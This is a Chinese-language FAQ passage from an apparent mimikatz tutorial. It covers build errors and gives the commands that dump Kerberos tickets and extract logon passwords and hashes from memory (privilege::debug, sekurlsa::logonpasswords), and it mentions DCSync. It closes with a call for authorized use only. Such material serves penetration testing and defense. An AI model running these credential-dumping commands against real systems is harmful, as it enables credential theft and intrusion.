- 理解了每种攻击方法背后的原理及其应用场景。
- 强调了在整个过程中注意数据安全性和合法性的重要性。
常见问题
安装报错:提示缺少调试权限怎么办?
在运行 mimikatz 命令时,首先需要提升到调试权限。可以使用以下命令来获取:
privilege::debug如果仍然遇到权限问题,请确保以管理员身份运行命令提示符或 PowerShell。
环境/依赖:编译时报错“MSB3073”是什么意思?
错误“MSB3073”通常与驱动程序构建有关。如果你不需要构建驱动程序部分,可以选择忽略此错误。主要工具和库已经成功编译并准备好使用了。若要完全解决该问题,请安装 Windows Driver Kit (WDK) 7.1 并按照文档中的说明进行操作。
配置:如何导出 Kerberos 票据?
你可以使用以下命令从内存中导出 Kerberos 票据,并将其保存为文件:
kerberos::list /export执行上述命令后,票据将以 .kirbi 文件的形式保存在当前目录下。
使用误区:是否可以在任何 Windows 版本上运行 mimikatz?
虽然 mimikatz 在大多数现代 Windows 版本上都能正常工作,但某些功能可能因系统版本的不同而有所限制。建议查阅官方文档或博客了解特定版本的支持情况及注意事项。
如何提取登录密码哈希值?
要在 mimikatz 中提取登录用户的密码哈希值,请按顺序输入以下命令:
log
privilege::debug
sekurlsa::logonpasswords这些命令将帮助你获取存储在内存中的用户凭据信息,包括明文密码和各种类型的哈希值。
与其他类似工具相比,mimikatz 的优势在哪里?
相较于其他安全测试工具,mimikatz 提供了许多独特的功能模块,如处理证书、私钥、Vault 内容以及高级的域控制器同步攻击手段(DCSync)。此外,其详细的文档和活跃的社区支持也为用户提供了丰富的资源和指导。然而,在实际应用过程中应遵循法律规范与道德准则,仅用于授权的安全评估活动。